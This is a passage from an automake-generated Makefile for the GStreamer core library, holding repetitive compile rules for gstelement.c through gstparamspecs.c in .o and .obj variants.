$(DEPDIR)/gstelement.Tpo $(DEPDIR)/gstelement.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstelement.c' object='gstelement.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstelement.obj `if test -f 'gst/gstelement.c'; then $(CYGPATH_W) 'gst/gstelement.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstelement.c'; fi` gstevent.o: gst/gstevent.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstevent.o -MD -MP -MF $(DEPDIR)/gstevent.Tpo -c -o gstevent.o `test -f 'gst/gstevent.c' || echo '$(srcdir)/'`gst/gstevent.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstevent.Tpo $(DEPDIR)/gstevent.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstevent.c' object='gstevent.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstevent.o `test -f 'gst/gstevent.c' || echo '$(srcdir)/'`gst/gstevent.c gstevent.obj: gst/gstevent.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstevent.obj -MD -MP -MF $(DEPDIR)/gstevent.Tpo -c -o gstevent.obj `if test -f 'gst/gstevent.c'; then $(CYGPATH_W) 'gst/gstevent.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstevent.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstevent.Tpo $(DEPDIR)/gstevent.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstevent.c' object='gstevent.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstevent.obj `if test -f 'gst/gstevent.c'; then $(CYGPATH_W) 'gst/gstevent.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstevent.c'; fi` gstghostpad.o: gst/gstghostpad.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstghostpad.o -MD -MP -MF $(DEPDIR)/gstghostpad.Tpo -c -o gstghostpad.o `test -f 'gst/gstghostpad.c' || echo '$(srcdir)/'`gst/gstghostpad.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstghostpad.Tpo $(DEPDIR)/gstghostpad.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstghostpad.c' object='gstghostpad.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstghostpad.o `test -f 'gst/gstghostpad.c' || echo '$(srcdir)/'`gst/gstghostpad.c gstghostpad.obj: gst/gstghostpad.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstghostpad.obj -MD -MP -MF $(DEPDIR)/gstghostpad.Tpo -c -o gstghostpad.obj `if test -f 'gst/gstghostpad.c'; then $(CYGPATH_W) 'gst/gstghostpad.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstghostpad.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstghostpad.Tpo $(DEPDIR)/gstghostpad.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstghostpad.c' object='gstghostpad.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstghostpad.obj `if test -f 'gst/gstghostpad.c'; then $(CYGPATH_W) 'gst/gstghostpad.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstghostpad.c'; fi` gstindex.o: gst/gstindex.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstindex.o -MD -MP -MF $(DEPDIR)/gstindex.Tpo -c -o gstindex.o `test -f 'gst/gstindex.c' || echo '$(srcdir)/'`gst/gstindex.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstindex.Tpo $(DEPDIR)/gstindex.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstindex.c' object='gstindex.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstindex.o `test -f 'gst/gstindex.c' || echo '$(srcdir)/'`gst/gstindex.c gstindex.obj: gst/gstindex.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstindex.obj -MD -MP -MF $(DEPDIR)/gstindex.Tpo -c -o gstindex.obj `if test -f 'gst/gstindex.c'; then $(CYGPATH_W) 'gst/gstindex.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstindex.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstindex.Tpo $(DEPDIR)/gstindex.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstindex.c' object='gstindex.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstindex.obj `if test -f 'gst/gstindex.c'; then $(CYGPATH_W) 'gst/gstindex.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstindex.c'; fi` gstinfo.o: gst/gstinfo.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstinfo.o -MD -MP -MF $(DEPDIR)/gstinfo.Tpo -c -o gstinfo.o `test -f 'gst/gstinfo.c' || echo '$(srcdir)/'`gst/gstinfo.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstinfo.Tpo $(DEPDIR)/gstinfo.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstinfo.c' object='gstinfo.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstinfo.o `test -f 'gst/gstinfo.c' || echo '$(srcdir)/'`gst/gstinfo.c gstinfo.obj: gst/gstinfo.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstinfo.obj -MD -MP -MF $(DEPDIR)/gstinfo.Tpo -c -o gstinfo.obj `if test -f 'gst/gstinfo.c'; then $(CYGPATH_W) 'gst/gstinfo.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstinfo.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstinfo.Tpo $(DEPDIR)/gstinfo.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstinfo.c' object='gstinfo.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstinfo.obj `if test -f 'gst/gstinfo.c'; then $(CYGPATH_W) 'gst/gstinfo.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstinfo.c'; fi` gstinterface.o: gst/gstinterface.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstinterface.o -MD -MP -MF $(DEPDIR)/gstinterface.Tpo -c -o gstinterface.o `test -f 'gst/gstinterface.c' || echo '$(srcdir)/'`gst/gstinterface.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstinterface.Tpo $(DEPDIR)/gstinterface.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstinterface.c' object='gstinterface.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstinterface.o `test -f 'gst/gstinterface.c' || echo '$(srcdir)/'`gst/gstinterface.c gstinterface.obj: gst/gstinterface.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstinterface.obj -MD -MP -MF $(DEPDIR)/gstinterface.Tpo -c -o gstinterface.obj `if test -f 'gst/gstinterface.c'; then $(CYGPATH_W) 'gst/gstinterface.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstinterface.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstinterface.Tpo $(DEPDIR)/gstinterface.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstinterface.c' object='gstinterface.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstinterface.obj `if test -f 'gst/gstinterface.c'; then $(CYGPATH_W) 'gst/gstinterface.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstinterface.c'; fi` gstiterator.o: gst/gstiterator.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstiterator.o -MD -MP -MF $(DEPDIR)/gstiterator.Tpo -c -o gstiterator.o `test -f 'gst/gstiterator.c' || echo '$(srcdir)/'`gst/gstiterator.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstiterator.Tpo $(DEPDIR)/gstiterator.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstiterator.c' object='gstiterator.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstiterator.o `test -f 'gst/gstiterator.c' || echo '$(srcdir)/'`gst/gstiterator.c gstiterator.obj: gst/gstiterator.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstiterator.obj -MD -MP -MF $(DEPDIR)/gstiterator.Tpo -c -o gstiterator.obj `if test -f 'gst/gstiterator.c'; then $(CYGPATH_W) 'gst/gstiterator.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstiterator.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstiterator.Tpo $(DEPDIR)/gstiterator.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstiterator.c' object='gstiterator.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstiterator.obj `if test -f 'gst/gstiterator.c'; then $(CYGPATH_W) 'gst/gstiterator.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstiterator.c'; fi` gstmessage.o: gst/gstmessage.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstmessage.o -MD -MP -MF $(DEPDIR)/gstmessage.Tpo -c -o gstmessage.o `test -f 'gst/gstmessage.c' || echo '$(srcdir)/'`gst/gstmessage.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstmessage.Tpo $(DEPDIR)/gstmessage.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstmessage.c' object='gstmessage.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstmessage.o `test -f 'gst/gstmessage.c' || echo '$(srcdir)/'`gst/gstmessage.c gstmessage.obj: gst/gstmessage.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstmessage.obj -MD -MP -MF $(DEPDIR)/gstmessage.Tpo -c -o gstmessage.obj `if test -f 'gst/gstmessage.c'; then $(CYGPATH_W) 'gst/gstmessage.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstmessage.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstmessage.Tpo $(DEPDIR)/gstmessage.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstmessage.c' object='gstmessage.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstmessage.obj `if test -f 'gst/gstmessage.c'; then $(CYGPATH_W) 'gst/gstmessage.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstmessage.c'; fi` gstminiobject.o: gst/gstminiobject.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstminiobject.o -MD -MP -MF $(DEPDIR)/gstminiobject.Tpo -c -o gstminiobject.o `test -f 'gst/gstminiobject.c' || echo '$(srcdir)/'`gst/gstminiobject.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstminiobject.Tpo $(DEPDIR)/gstminiobject.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstminiobject.c' object='gstminiobject.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstminiobject.o `test -f 'gst/gstminiobject.c' || echo '$(srcdir)/'`gst/gstminiobject.c gstminiobject.obj: gst/gstminiobject.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstminiobject.obj -MD -MP -MF $(DEPDIR)/gstminiobject.Tpo -c -o gstminiobject.obj `if test -f 'gst/gstminiobject.c'; then $(CYGPATH_W) 'gst/gstminiobject.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstminiobject.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstminiobject.Tpo $(DEPDIR)/gstminiobject.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstminiobject.c' object='gstminiobject.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstminiobject.obj `if test -f 'gst/gstminiobject.c'; then $(CYGPATH_W) 'gst/gstminiobject.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstminiobject.c'; fi` gstobject.o: gst/gstobject.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstobject.o -MD -MP -MF $(DEPDIR)/gstobject.Tpo -c -o gstobject.o `test -f 'gst/gstobject.c' || echo '$(srcdir)/'`gst/gstobject.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstobject.Tpo $(DEPDIR)/gstobject.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstobject.c' object='gstobject.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstobject.o `test -f 'gst/gstobject.c' || echo '$(srcdir)/'`gst/gstobject.c gstobject.obj: gst/gstobject.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstobject.obj -MD -MP -MF $(DEPDIR)/gstobject.Tpo -c -o gstobject.obj `if test -f 'gst/gstobject.c'; then $(CYGPATH_W) 'gst/gstobject.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstobject.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstobject.Tpo $(DEPDIR)/gstobject.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstobject.c' object='gstobject.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstobject.obj `if test -f 'gst/gstobject.c'; then $(CYGPATH_W) 'gst/gstobject.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstobject.c'; fi` gstpad.o: gst/gstpad.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstpad.o -MD -MP -MF $(DEPDIR)/gstpad.Tpo -c -o gstpad.o `test -f 'gst/gstpad.c' || echo '$(srcdir)/'`gst/gstpad.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstpad.Tpo $(DEPDIR)/gstpad.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstpad.c' object='gstpad.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstpad.o `test -f 'gst/gstpad.c' || echo '$(srcdir)/'`gst/gstpad.c gstpad.obj: gst/gstpad.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstpad.obj -MD -MP -MF $(DEPDIR)/gstpad.Tpo -c -o gstpad.obj `if test -f 'gst/gstpad.c'; then $(CYGPATH_W) 'gst/gstpad.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstpad.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstpad.Tpo $(DEPDIR)/gstpad.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstpad.c' object='gstpad.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstpad.obj `if test -f 'gst/gstpad.c'; then $(CYGPATH_W) 'gst/gstpad.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstpad.c'; fi` gstparamspecs.o: gst/gstparamspecs.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstparamspecs.o -MD -MP -MF $(DEPDIR)/gstparamspecs.Tpo -c -o gstparamspecs.o `test -f 'gst/gstparamspecs.c' || echo '$(srcdir)/'`gst/gstparamspecs.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstparamspecs.Tpo $(DEPDIR)/gstparamspecs.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstparamspecs.c' object='gstparamspecs.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstparamspecs.o `test -f 'gst/gstparamspecs.c' || echo '$(srcdir)/'`gst/gstparamspecs.c gstparamspecs.obj: gst/gstparamspecs.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstparamspecs.obj -MD -MP -MF $(DEPDIR)/gstparamspecs.Tpo -c -o gstparamspecs.obj `if test -f 'gst/gstparamspecs.c'; then $(CYGPATH_W) 'gst/gstparamspecs.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstparamspecs.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstparamspecs.Tpo $(DEPDIR)/gstparamspecs.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstparamspecs.c' object='gstparamspecs.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) 